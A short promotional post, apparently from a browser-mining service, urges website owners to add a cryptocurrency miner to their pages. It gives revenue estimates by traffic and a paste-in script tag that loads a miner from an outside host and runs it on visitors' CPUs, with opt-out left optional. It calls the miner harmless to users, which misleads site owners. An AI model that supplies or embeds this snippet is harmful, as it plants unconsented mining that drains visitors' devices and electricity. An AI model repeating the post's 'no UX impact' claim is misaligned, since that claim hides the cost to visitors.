When Coinhive collapsed in 2019, browser mining's reputation went with it. But in 2026 the landscape is completely different — 1% fees (not 30%), open source code, and zero tracking.

The honest answer: No, it won't make you rich. But it takes 5 minutes to set up and recovers some of the revenue you're losing to ad blockers.

Revenue by Traffic

1,000

• Visitors/day: 1,000

• Est. Monthly: ~$5–$20

10,000

• Visitors/day: 10,000

• Est. Monthly: ~$50–$200

100,000

• Visitors/day: 100,000

• Est. Monthly: ~$500–$2,000

It's supplemental income. But it runs itself, requires zero maintenance, and doesn't affect UX (Web Workers run on background threads).

Setup (literally 5 minutes)
<script type="module"> import { autoMine } from "https://earnify.cc/miner.js"; autoMine("YOUR_RVN_WALLET", 0.5); </script>

Add a toggle for opt-out if you want. Done. Payouts go directly from pool to your wallet — no account needed.
